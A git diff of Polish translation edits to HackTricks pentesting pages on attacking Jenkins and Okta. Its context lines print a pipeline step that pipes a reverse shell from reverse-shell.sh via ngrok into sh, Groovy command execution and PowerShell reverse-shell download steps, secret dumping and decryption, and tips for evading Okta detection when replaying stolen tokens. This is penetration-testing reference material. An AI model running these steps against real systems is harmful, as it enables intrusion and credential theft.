@@ -184,7 +184,7 @@ basic-jenkins-information.md
Poświadczenia mogą być **ograniczone do globalnych dostawców** (`/credentials/`) lub do **konkretnych projektów** (`/job//configure`). Dlatego, aby wyeksfiltrować wszystkie z nich, musisz **skompromitować przynajmniej wszystkie projekty**, które zawierają sekrety i wykonać niestandardowe/zepsute potoki.
-Jest jeszcze jeden problem, aby uzyskać **sekret wewnątrz env** potoku, musisz **znać nazwę i typ sekrety**. Na przykład, jeśli spróbujesz **załadować** **sekret** **`usernamePassword`** jako **`string`** **sekret**, otrzymasz ten **błąd**:
+Jest jeszcze jeden problem, aby uzyskać **sekret wewnątrz env** potoku, musisz **znać nazwę i typ sekrety**. Na przykład, jeśli spróbujesz **załadować** **sekret** **`usernamePassword`** jako **sekret** **`string`**, otrzymasz ten **błąd**:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
@@ -219,8 +219,8 @@ env
Na końcu tej strony możesz **znaleźć wszystkie typy poświadczeń**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
-> Najlepszym sposobem na **zrzucenie wszystkich sekretów jednocześnie** jest **kompromitacja** maszyny **Jenkins** (na przykład uruchamiając reverse shell w **wbudowanym węźle**) i następnie **wyciek** **kluczy głównych** oraz **zaszyfrowanych sekretów** i odszyfrowanie ich offline.\
-> Więcej na ten temat w sekcji [Węzły i Agenci](./#nodes-and-agents) oraz w sekcji [Po Eksploatacji](./#post-exploitation).
+> Najlepszym sposobem na **zrzucenie wszystkich sekretów jednocześnie** jest **kompromitacja** maszyny **Jenkins** (na przykład uruchamiając odwróconą powłokę w **wbudowanym węźle**) i następnie **wyciek** **kluczy głównych** oraz **zaszyfrowanych sekretów** i odszyfrowanie ich offline.\
+> Więcej na ten temat w sekcji [Nodes & Agents](./#nodes-and-agents) oraz w sekcji [Post Exploitation](./#post-exploitation).
### Wyzwalacze
@@ -232,7 +232,7 @@ triggers { cron('H */4 * * 1-5') }
```
Sprawdź **inne przykłady w dokumentacji**.
-### Węzły i Agenci
+### Węzły i agenci
Instancja **Jenkins** może mieć **różne agenty działające na różnych maszynach**. Z perspektywy atakującego, dostęp do różnych maszyn oznacza **różne potencjalne dane uwierzytelniające do chmury** do kradzieży lub **różny dostęp do sieci**, który można wykorzystać do eksploatacji innych maszyn.
@@ -242,11 +242,11 @@ Aby uzyskać więcej informacji, sprawdź podstawowe informacje:
basic-jenkins-information.md
{{#endref}}
-Możesz wyliczyć **skonfigurowane węzły** w `/computer/`, zazwyczaj znajdziesz **`Wbudowany Węzeł`** (który jest węzłem uruchamiającym Jenkins) i potencjalnie więcej:
+Możesz wyliczyć **skonfigurowane węzły** w `/computer/`, zazwyczaj znajdziesz \*\*`Wbudowany Węzeł` \*\* (który jest węzłem uruchamiającym Jenkins) i potencjalnie więcej:
.png>)
-Jest **szczególnie interesujące, aby skompromitować Wbudowany węzeł**, ponieważ zawiera wrażliwe informacje Jenkins.
+Jest **szczególnie interesujące, aby skompromitować Wbudowany węzeł**, ponieważ zawiera wrażliwe informacje o Jenkinsie.
Aby wskazać, że chcesz **uruchomić** **pipeline** w **wbudowanym węźle Jenkins**, możesz określić w pipeline następującą konfigurację:
```bash
@@ -286,7 +286,7 @@ cleanWs()
}
}
```
-## Odczyt dowolnego pliku do RCE
+## Odczyt dowolnych plików do RCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -351,7 +351,7 @@ credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOm
```
#### Decrypt Jenkins secrets offline
-Jeśli masz zrzutane **potrzebne hasła do odszyfrowania sekretów**, użyj [**tego skryptu**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **do odszyfrowania tych sekretów**.
+Jeśli masz zrzut **potrzebnych haseł do odszyfrowania sekretów**, użyj [**tego skryptu**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **do odszyfrowania tych sekretów**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -365,7 +365,7 @@ println(hudson.util.Secret.decrypt("{...}"))
```
### Utwórz nowego użytkownika administratora
-1. Uzyskaj dostęp do pliku Jenkins config.xml w `/var/lib/jenkins/config.xml` lub `C:\Program Files (x86)\Jenkins\`
+1. Uzyskaj dostęp do pliku Jenkins config.xml w `/var/lib/jenkins/config.xml` lub `C:\Program Files (x86)\Jenkis\`
2. Wyszukaj słowo `true` i zmień słowo **`true`** na **`false`**.
1. `sed -i -e 's/truefalse)
-- **Strategia autoryzacji oparta na macierzy projektów:** Ten tryb jest **rozszerzeniem** do "**Bezpieczeństwa opartego na macierzy**", które pozwala na **zdefiniowanie dodatkowej macierzy ACL dla każdego projektu osobno.**
+- **Strategia autoryzacji oparta na projektach:** Ten tryb jest **rozszerzeniem** "**bezpieczeństwa opartego na macierzy**", które pozwala na **definiowanie dodatkowej macierzy ACL dla każdego projektu osobno.**
- **Strategia oparta na rolach:** Umożliwia definiowanie autoryzacji za pomocą **strategii opartej na rolach**. Zarządzaj rolami w `/role-strategy`.
## **Królestwo bezpieczeństwa**
@@ -47,7 +47,7 @@ W `/configureSecurity` można **skonfigurować królestwo bezpieczeństwa.** Dom
- **LDAP**: Deleguj całą autoryzację do skonfigurowanego serwera LDAP, w tym zarówno użytkowników, jak i grupy.
- **Baza danych użytkowników/grup Unix**: **Deleguje autoryzację do podstawowej bazy danych użytkowników Unix** na kontrolerze Jenkins. Ten tryb pozwoli również na ponowne wykorzystanie grup Unix do autoryzacji.
-Wtyczki mogą dostarczać dodatkowe królestwa bezpieczeństwa, które mogą być przydatne do włączenia Jenkins w istniejące systemy tożsamości, takie jak:
+Wtyczki mogą zapewniać dodatkowe królestwa bezpieczeństwa, które mogą być przydatne do włączenia Jenkins w istniejące systemy tożsamości, takie jak:
- [Active Directory](https://plugins.jenkins.io/active-directory)
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
@@ -57,17 +57,17 @@ Wtyczki mogą dostarczać dodatkowe królestwa bezpieczeństwa, które mogą by
Definicje z [dokumentacji](https://www.jenkins.io/doc/book/managing/nodes/):
-**Węzły** to **maszyny**, na których działają **agenci budowy**. Jenkins monitoruje każdy podłączony węzeł pod kątem miejsca na dysku, wolnego miejsca tymczasowego, wolnej pamięci wymiany, czasu zegara/synchronizacji i czasu odpowiedzi. Węzeł jest wyłączany, jeśli którakolwiek z tych wartości przekroczy skonfigurowany próg.
+**Węzły** to **maszyny**, na których działają **agenci budowy**. Jenkins monitoruje każdy podłączony węzeł pod kątem miejsca na dysku, wolnego miejsca tymczasowego, wolnej pamięci swap, czasu zegara/synchronizacji i czasu odpowiedzi. Węzeł jest wyłączany, jeśli którakolwiek z tych wartości przekroczy skonfigurowany próg.
-**Agenci** **zarządzają** **wykonywaniem zadań** w imieniu kontrolera Jenkins, **używając wykonawców**. Agent może używać dowolnego systemu operacyjnego, który obsługuje Javę. Narzędzia wymagane do budowy i testów są instalowane na węźle, na którym działa agent; mogą **być zainstalowane bezpośrednio lub w kontenerze** (Docker lub Kubernetes). Każdy **agent jest w rzeczywistości procesem z własnym PID** na maszynie gospodarza.
+**Agenci** **zarządzają** **wykonywaniem zadań** w imieniu kontrolera Jenkins, **używając wykonawców**. Agent może używać dowolnego systemu operacyjnego, który obsługuje Javę. Narzędzia wymagane do budowy i testów są instalowane na węźle, na którym działa agent; mogą być **zainstalowane bezpośrednio lub w kontenerze** (Docker lub Kubernetes). Każdy **agent jest w rzeczywistości procesem z własnym PID** na maszynie gospodarza.
-**Wykonawca** to **miejsce do wykonywania zadań**; w rzeczywistości jest to **wątek w agencie**. **Liczba wykonawców** na węźle definiuje liczbę **równoległych zadań**, które mogą być wykonywane na tym węźle w danym momencie. Innymi słowy, określa to **liczbę równoległych `etapów` Pipeline**, które mogą być wykonywane na tym węźle w danym momencie.
+**Wykonawca** to **miejsce do wykonywania zadań**; w rzeczywistości jest to **wątek w agencie**. **Liczba wykonawców** na węźle definiuje liczbę **równoległych zadań**, które mogą być wykonywane na tym węźle w danym momencie. Innymi słowy, określa to **liczbę równoległych `stages` Pipeline**, które mogą być wykonywane na tym węźle w danym momencie.
## Sekrety Jenkins
### Szyfrowanie sekretów i poświadczeń
-Definicja z [dokumentacji](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins używa **AES do szyfrowania i ochrony sekretów**, poświadczeń i ich odpowiednich kluczy szyfrujących. Te klucze szyfrujące są przechowywane w `$JENKINS_HOME/secrets/` wraz z kluczem głównym używanym do ochrony tych kluczy. Ten katalog powinien być skonfigurowany tak, aby tylko użytkownik systemu operacyjnego, na którym działa kontroler Jenkins, miał dostęp do odczytu i zapisu do tego katalogu (tj. wartość `chmod` wynosząca `0700` lub używając odpowiednich atrybutów plików). **Klucz główny** (czasami nazywany "kluczem szyfrującym" w kryptologii) jest **przechowywany \_nieszyfrowany**\_ w systemie plików kontrolera Jenkins w **`$JENKINS_HOME/secrets/master.key`**, co nie chroni przed atakującymi mającymi bezpośredni dostęp do tego pliku. Większość użytkowników i deweloperów będzie używać tych kluczy szyfrujących pośrednio za pomocą API [Secret](https://javadoc.jenkins.io/byShortName/Secret) do szyfrowania ogólnych danych sekretów lub przez API poświadczeń. Dla ciekawskich kryptograficznie, Jenkins używa AES w trybie łańcucha bloków szyfrujących (CBC) z paddingiem PKCS#5 i losowymi IV do szyfrowania instancji [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey), które są przechowywane w `$JENKINS_HOME/secrets/` z nazwą pliku odpowiadającą ich identyfikatorowi `CryptoConfidentialKey`. Powszechne identyfikatory kluczy obejmują:
+Definicja z [dokumentacji](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins używa **AES do szyfrowania i ochrony sekretów**, poświadczeń i ich odpowiednich kluczy szyfrujących. Te klucze szyfrujące są przechowywane w `$JENKINS_HOME/secrets/` wraz z kluczem głównym używanym do ochrony tych kluczy. Ten katalog powinien być skonfigurowany tak, aby tylko użytkownik systemu operacyjnego, na którym działa kontroler Jenkins, miał dostęp do odczytu i zapisu do tego katalogu (tj. wartość `chmod` wynosząca `0700` lub używając odpowiednich atrybutów plików). **Klucz główny** (czasami nazywany "kluczem szyfrującym" w kryptologii) jest **przechowywany \_nieszyfrowany**\_ w systemie plików kontrolera Jenkins w **`$JENKINS_HOME/secrets/master.key`**, co nie chroni przed atakującymi mającymi bezpośredni dostęp do tego pliku. Większość użytkowników i deweloperów będzie używać tych kluczy szyfrujących pośrednio za pomocą API [Secret](https://javadoc.jenkins.io/byShortName/Secret) do szyfrowania ogólnych danych sekretów lub za pośrednictwem API poświadczeń. Dla ciekawskich kryptograficznie, Jenkins używa AES w trybie łańcucha bloków szyfrujących (CBC) z paddingiem PKCS#5 i losowymi IV do szyfrowania instancji [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey), które są przechowywane w `$JENKINS_HOME/secrets/` z nazwą pliku odpowiadającą ich identyfikatorowi `CryptoConfidentialKey`. Typowe identyfikatory kluczy obejmują:
- `hudson.util.Secret`: używany do ogólnych sekretów;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: używany dla niektórych typów poświadczeń;
@@ -75,9 +75,9 @@ Definicja z [dokumentacji](https://www.jenkins.io/doc/developer/security/secrets
### Dostęp do poświadczeń
-Poświadczenia mogą być **ograniczone do globalnych dostawców** (`/credentials/`), które mogą być dostępne przez dowolny skonfigurowany projekt, lub mogą być ograniczone do **konkretnych projektów** (`/job//configure`) i dlatego dostępne tylko z konkretnego projektu.
+Poświadczenia mogą być **ograniczone do globalnych dostawców** (`/credentials/`), które mogą być dostępne przez każdy skonfigurowany projekt, lub mogą być ograniczone do **konkretnych projektów** (`/job//configure`), a zatem dostępne tylko z konkretnego projektu.
-Zgodnie z [**dokumentacją**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Poświadczenia, które są w zakresie, są udostępniane pipeline'owi bez ograniczeń. Aby **zapobiec przypadkowemu ujawnieniu w logu budowy**, poświadczenia są **ukrywane** przed regularnym wyjściem, więc wywołanie `env` (Linux) lub `set` (Windows), lub programy drukujące swoje środowisko lub parametry **nie ujawnią ich w logu budowy** użytkownikom, którzy w przeciwnym razie nie mieliby dostępu do poświadczeń.
+Zgodnie z [**dokumentacją**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Poświadczenia, które są w zakresie, są udostępniane w potoku bez ograniczeń. Aby **zapobiec przypadkowemu ujawnieniu w dzienniku budowy**, poświadczenia są **ukrywane** przed regularnym wyjściem, więc wywołanie `env` (Linux) lub `set` (Windows), lub programy drukujące swoje środowisko lub parametry **nie ujawnią ich w dzienniku budowy** użytkownikom, którzy w przeciwnym razie nie mieliby dostępu do poświadczeń.
**Dlatego, aby wyeksportować poświadczenia, atakujący musi na przykład zakodować je w base64.**
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
index 010964e63..6e91c29f8 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -4,7 +4,7 @@
W tym wpisie na blogu można znaleźć świetny sposób na przekształcenie podatności Local File Inclusion w Jenkins w RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
-To jest podsumowanie stworzone przez AI części wpisu, w której nadużycie arbitralnego ciasteczka jest wykorzystywane do uzyskania RCE, nadużywając lokalnego odczytu pliku, aż będę miał czas, aby stworzyć własne podsumowanie:
+To jest podsumowanie stworzone przez AI części wpisu, w której wykorzystanie arbitralnego ciasteczka jest nadużywane do uzyskania RCE poprzez lokalne odczytywanie plików, aż znajdę czas na stworzenie własnego podsumowania:
### Wymagania wstępne ataku
@@ -84,7 +84,7 @@ username + ":" + tokenExpiryTime + ":" + tokenSignature
- **Pobierz tokeny CSRF i sesji:**
- Wykonaj żądanie do `/crumbIssuer/api/json`, aby uzyskać `Jenkins-Crumb`.
-- Przechwyć `JSESSIONID` z odpowiedzi, który będzie używany w połączeniu z ciasteczkiem "zapamiętaj mnie".
+- Przechwyć `JSESSIONID` z odpowiedzi, który będzie używany w połączeniu z ciasteczkiem "remember-me".
**Żądanie wykonania polecenia**
@@ -100,6 +100,6 @@ curl -X POST "$JENKINS_URL/scriptText" \
- Skrypt Groovy może być użyty do wykonywania poleceń na poziomie systemu lub innych operacji w środowisku Jenkins.
-Przykład polecenia curl pokazuje, jak wykonać żądanie do Jenkins z niezbędnymi nagłówkami i ciasteczkami, aby bezpiecznie wykonać arbitralny kod.
+Przykład polecenia curl pokazuje, jak wykonać żądanie do Jenkins z niezbędnymi nagłówkami i ciasteczkami, aby bezpiecznie wykonać dowolny kod.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
index 8aebd65f4..d72543eca 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
@@ -26,12 +26,12 @@ curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
}
}
```
-Finally click on **Save**, and **Build Now** and the pipeline will be executed:
+Na koniec kliknij **Zapisz**, a następnie **Buduj teraz**, a potok zostanie wykonany:
.png>)
## Modyfikowanie potoku
-If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
+Jeśli masz dostęp do pliku konfiguracyjnego jakiegoś skonfigurowanego potoku, możesz po prostu **zmodyfikować go, dodając swój reverse shell**, a następnie go wykonać lub poczekać, aż zostanie wykonany.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
index 603b3df59..901ead43e 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
@@ -7,9 +7,9 @@
Ta metoda jest bardzo głośna, ponieważ musisz stworzyć zupełnie nowy projekt (oczywiście to zadziała tylko, jeśli użytkownik ma prawo do tworzenia nowego projektu).
1. **Utwórz nowy projekt** (projekt Freestyle) klikając "Nowy element" lub w `/view/all/newJob`
-2. W sekcji **Budowanie** ustaw **Wykonaj powłokę** i wklej launcher PowerShell Empire lub PowerShell meterpreter (można uzyskać za pomocą _unicorn_). Uruchom ładunek za pomocą _PowerShell.exe_ zamiast _powershell._
+2. W sekcji **Budowanie** ustaw **Wykonaj powłokę** i wklej launcher PowerShell Empire lub PowerShell meterpreter (można go uzyskać za pomocą _unicorn_). Uruchom ładunek za pomocą _PowerShell.exe_ zamiast _powershell._
3. Kliknij **Buduj teraz**
-1. Jeśli przycisk **Buduj teraz** się nie pojawia, możesz nadal przejść do **konfiguracji** --> **Wyzwalacze budowania** --> `Buduj okresowo` i ustawić cron na `* * * * *`
+1. Jeśli przycisk **Buduj teraz** się nie pojawia, możesz nadal przejść do **konfiguracji** --> **Wyzwalacze budowy** --> `Buduj okresowo` i ustawić cron na `* * * * *`
2. Zamiast używać crona, możesz użyć konfiguracji "**Wyzwalaj budowy zdalnie**", gdzie musisz tylko ustawić nazwę tokena API, aby wyzwolić zadanie. Następnie przejdź do swojego profilu użytkownika i **wygeneruj token API** (nazwij ten token API tak, jak nazwałeś token API do wyzwolenia zadania). Na koniec wyzwól zadanie za pomocą: **`curl :@/job//build?token=`**
.png>)
@@ -26,7 +26,7 @@ Lub **spróbuj uzyskać dostęp do ścieżki** `/job//configure` lub
## Wykonanie
-Jeśli masz prawo do konfiguracji projektu, możesz **sprawić, aby wykonywał polecenia, gdy budowa zakończy się sukcesem**:
+Jeśli masz prawo do skonfigurowania projektu, możesz **sprawić, że będzie wykonywał polecenia, gdy budowa zakończy się sukcesem**:
.png>)
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
index 5c00660e8..368ca2534 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
@@ -1,8 +1,8 @@
-# Jenkins RCE with Groovy Script
+# Jenkins RCE z użyciem skryptu Groovy
{{#include ../../banners/hacktricks-training.md}}
-## Jenkins RCE with Groovy Script
+## Jenkins RCE z użyciem skryptu Groovy
To jest mniej hałaśliwe niż tworzenie nowego projektu w Jenkins
@@ -14,11 +14,11 @@ println "Found text ${process.text}"
```
Możesz wykonać polecenie używając: `cmd.exe /c dir`
-W **linux** możesz zrobić: **`"ls /".execute().text`**
+W **linux** możesz to zrobić: **`"ls /".execute().text`**
-Jeśli musisz użyć _cudzysłowów_ i _pojedynczych cudzysłowów_ wewnątrz tekstu. Możesz użyć _"""PAYLOAD"""_ (potrójne podwójne cudzysłowy), aby wykonać ładunek.
+Jeśli musisz użyć _cudzysłowów_ i _pojedynczych cudzysłowów_ wewnątrz tekstu, możesz użyć _"""PAYLOAD"""_ (potrójne podwójne cudzysłowy), aby wykonać ładunek.
-**Inny przydatny skrypt groovy** to (zamień \[INSERT COMMAND]):
+**Inny przydatny skrypt groovy** to (zastąp \[INSERT COMMAND]):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
@@ -34,7 +34,7 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
-### Reverse shell w Windows
+### Reverse shell w systemie Windows
Możesz przygotować serwer HTTP z PS reverse shell i użyć Jekinsa do pobrania i wykonania go:
```python
@@ -46,7 +46,7 @@ cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc
Możesz zautomatyzować ten proces za pomocą [**tego skryptu**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
-Możesz użyć MSF, aby uzyskać odwróconą powłokę:
+Możesz użyć MSF, aby uzyskać powrotną powłokę:
```
msf> use exploit/multi/http/jenkins_script_console
```
diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md
index 0a036e0a6..e7f0bc6b8 100644
--- a/src/pentesting-ci-cd/okta-security/README.md
+++ b/src/pentesting-ci-cd/okta-security/README.md
@@ -16,48 +16,48 @@ Flagowym produktem Okta jest **Okta Identity Cloud**. Ta platforma obejmuje zest
Usługi te mają na celu wzmocnienie ochrony danych i uproszczenie dostępu użytkowników, zwiększając zarówno bezpieczeństwo, jak i wygodę. Wszechstronność rozwiązań Okta sprawia, że są one popularnym wyborem w różnych branżach, korzystają z nich zarówno duże przedsiębiorstwa, małe firmy, jak i indywidualni programiści. Na ostatnią aktualizację we wrześniu 2021 roku, Okta jest uznawana za znaczącą jednostkę w obszarze zarządzania tożsamością i dostępem (IAM).
-> [!OSTRZEŻENIE]
+> [!CAUTION]
> Głównym celem Okta jest skonfigurowanie dostępu do różnych użytkowników i grup do aplikacji zewnętrznych. Jeśli uda ci się **skompromentować uprawnienia administratora w środowisku Okta**, prawdopodobnie będziesz w stanie **skompromentować wszystkie inne platformy, z których korzysta firma**.
-> [!WSKAZÓWKA]
+> [!TIP]
> Aby przeprowadzić przegląd bezpieczeństwa środowiska Okta, powinieneś poprosić o **dostęp tylko do odczytu dla administratora**.
### Podsumowanie
Są **użytkownicy** (którzy mogą być **przechowywani w Okta,** logowani z skonfigurowanych **Dostawców Tożsamości** lub uwierzytelniani za pomocą **Active Directory** lub LDAP).\
Ci użytkownicy mogą być w **grupach**.\
-Są także **uwierzytelnienia**: różne opcje uwierzytelniania, takie jak hasło oraz kilka 2FA, takich jak WebAuthn, e-mail, telefon, Okta Verify (mogą być włączone lub wyłączone)...
+Są także **uwierzytelnienia**: różne opcje uwierzytelniania, takie jak hasło oraz kilka 2FA, takich jak WebAuthn, e-mail, telefon, okta verify (mogą być włączone lub wyłączone)...
-Następnie są **aplikacje** zsynchronizowane z Okta. Każda aplikacja będzie miała jakieś **mapowanie z Okta** do dzielenia się informacjami (takimi jak adresy e-mail, imiona...). Ponadto każda aplikacja musi być częścią **Polityki Uwierzytelniania**, która wskazuje **potrzebne uwierzytelnienia** dla użytkownika, aby **uzyskać dostęp** do aplikacji.
+Następnie są **aplikacje** zsynchronizowane z Okta. Każda aplikacja będzie miała jakieś **mapowanie z Okta** do dzielenia się informacjami (takimi jak adresy e-mail, imiona...). Ponadto każda aplikacja musi być w **Polityce Uwierzytelniania**, która wskazuje **potrzebne uwierzytelnienia** dla użytkownika, aby **uzyskać dostęp** do aplikacji.
-> [!OSTRZEŻENIE]
+> [!CAUTION]
> Najpotężniejszą rolą jest **Super Administrator**.
>
> Jeśli atakujący skompromituje Okta z dostępem administratora, wszystkie **aplikacje ufające Okta** będą prawdopodobnie **skompromentowane**.
## Ataki
-### Lokalizowanie portalu Okta
+### Lokalizacja portalu Okta
-Zazwyczaj portal firmy będzie znajdował się pod adresem **companyname.okta.com**. Jeśli nie, spróbuj prostych **wariantów** **companyname.** Jeśli nie możesz go znaleźć, możliwe, że organizacja ma rekord **CNAME** taki jak **`okta.companyname.com`** wskazujący na **portal Okta**.
+Zazwyczaj portal firmy będzie znajdował się pod adresem **companyname.okta.com**. Jeśli nie, spróbuj prostych **wariantów** **companyname.** Jeśli nie możesz go znaleźć, możliwe, że organizacja ma rekord **CNAME** jak **`okta.companyname.com`** wskazujący na **portal Okta**.
### Logowanie do Okta za pomocą Kerberos
Jeśli **`companyname.kerberos.okta.com`** jest aktywne, **Kerberos jest używany do dostępu do Okta**, zazwyczaj omijając **MFA** dla użytkowników **Windows**. Aby znaleźć użytkowników Okta uwierzytelnionych za pomocą Kerberos w AD, uruchom **`getST.py`** z **odpowiednimi parametrami**. Po uzyskaniu **biletu użytkownika AD**, **wstrzyknij** go do kontrolowanego hosta za pomocą narzędzi takich jak Rubeus lub Mimikatz, upewniając się, że **`clientname.kerberos.okta.com` jest w strefie "Intranet" w Opcjach Internetowych**. Uzyskanie dostępu do konkretnego URL powinno zwrócić odpowiedź JSON "OK", co wskazuje na akceptację biletu Kerberos i przyznanie dostępu do pulpitu nawigacyjnego Okta.
-Skompromitowanie **konta usługi Okta z delegacją SPN umożliwia atak Silver Ticket.** Jednak użycie przez Okta **AES** do szyfrowania biletów wymaga posiadania klucza AES lub hasła w postaci jawnej. Użyj **`ticketer.py`, aby wygenerować bilet dla użytkownika ofiary** i dostarczyć go za pośrednictwem przeglądarki do uwierzytelnienia w Okta.
+Skompromitowanie **konta usługi Okta z delegacją SPN umożliwia atak Silver Ticket.** Jednak użycie przez Okta **AES** do szyfrowania biletów wymaga posiadania klucza AES lub hasła w postaci jawnej. Użyj **`ticketer.py`, aby wygenerować bilet dla ofiary** i dostarczyć go za pośrednictwem przeglądarki do uwierzytelnienia w Okta.
**Sprawdź atak w** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Przejęcie agenta AD Okta
-Technika ta polega na **dostępie do agenta AD Okta na serwerze**, który **synchronizuje użytkowników i obsługuje uwierzytelnianie**. Poprzez badanie i deszyfrowanie konfiguracji w **`OktaAgentService.exe.config`**, szczególnie AgentToken przy użyciu **DPAPI**, atakujący może potencjalnie **przechwycić i manipulować danymi uwierzytelniającymi**. Umożliwia to nie tylko **monitorowanie** i **przechwytywanie danych logowania** w postaci jawnej podczas procesu uwierzytelniania Okta, ale także **reagowanie na próby uwierzytelnienia**, co umożliwia nieautoryzowany dostęp lub zapewnia uniwersalne uwierzytelnienie przez Okta (podobnie jak 'klucz uniwersalny').
+Ta technika polega na **dostępie do agenta AD Okta na serwerze**, który **synchronizuje użytkowników i obsługuje uwierzytelnianie**. Poprzez badanie i deszyfrowanie konfiguracji w **`OktaAgentService.exe.config`**, szczególnie AgentToken przy użyciu **DPAPI**, atakujący może potencjalnie **przechwycić i manipulować danymi uwierzytelniającymi**. Umożliwia to nie tylko **monitorowanie** i **przechwytywanie danych logowania** w postaci jawnej podczas procesu uwierzytelniania Okta, ale także **reagowanie na próby uwierzytelnienia**, co umożliwia nieautoryzowany dostęp lub zapewnia uniwersalne uwierzytelnienie przez Okta (podobnie jak 'klucz uniwersalny').
**Sprawdź atak w** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Przejęcie AD jako administrator
-Technika ta polega na przejęciu agenta AD Okta poprzez najpierw uzyskanie kodu OAuth, a następnie żądanie tokena API. Token jest powiązany z domeną AD, a **konektor jest nazwany, aby ustanowić fałszywego agenta AD**. Inicjalizacja pozwala agentowi na **przetwarzanie prób uwierzytelnienia**, przechwytując dane logowania za pośrednictwem API Okta. Narzędzia automatyzacyjne są dostępne, aby uprościć ten proces, oferując płynny sposób na przechwytywanie i obsługę danych uwierzytelniających w środowisku Okta.
+Ta technika polega na przejęciu agenta AD Okta poprzez najpierw uzyskanie kodu OAuth, a następnie żądanie tokena API. Token jest powiązany z domeną AD, a **konektor jest nazwany, aby ustanowić fałszywego agenta AD**. Inicjalizacja pozwala agentowi na **przetwarzanie prób uwierzytelnienia**, przechwytując dane logowania za pośrednictwem API Okta. Narzędzia automatyzacyjne są dostępne, aby uprościć ten proces, oferując płynny sposób na przechwytywanie i obsługę danych uwierzytelniających w środowisku Okta.
**Sprawdź atak w** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
@@ -84,15 +84,15 @@ Dlatego aplikacja powinna mieć to pole włączone, jeśli istnieje:
Widziałem także inne aplikacje, które były podatne, ale nie miały tego pola w ustawieniach Okta (na końcu różne aplikacje są konfigurowane inaczej).
-Najlepszym sposobem, aby dowiedzieć się, czy możesz się podszyć pod kogokolwiek w każdej aplikacji, byłoby spróbować!
+Najlepszym sposobem, aby dowiedzieć się, czy możesz podszyć się pod kogokolwiek w każdej aplikacji, byłoby spróbować!
-## Unikanie polityk wykrywania behawioralnego
+## Omijanie polityk wykrywania behawioralnego
Polityki wykrywania behawioralnego w Okta mogą być nieznane do momentu ich napotkania, ale **omijanie** ich można osiągnąć poprzez **bezpośrednie celowanie w aplikacje Okta**, unikając głównego pulpitu nawigacyjnego Okta. Z **tokenem dostępu Okta** powtórz token na **specyficznym URL aplikacji Okta** zamiast na głównej stronie logowania.
Kluczowe zalecenia obejmują:
-- **Unikaj używania** popularnych proxy anonimowych i usług VPN podczas powtarzania przechwyconych tokenów dostępu.
+- **Unikaj używania** popularnych proxy anonimizujących i usług VPN podczas powtarzania przechwyconych tokenów dostępu.
- Upewnij się, że **ciąg user-agent** jest spójny między klientem a powtórzonymi tokenami dostępu.
- **Powstrzymaj się od powtarzania** tokenów od różnych użytkowników z tego samego adresu IP.
- Zachowaj ostrożność podczas powtarzania tokenów przeciwko pulpitowi nawigacyjnemu Okta.
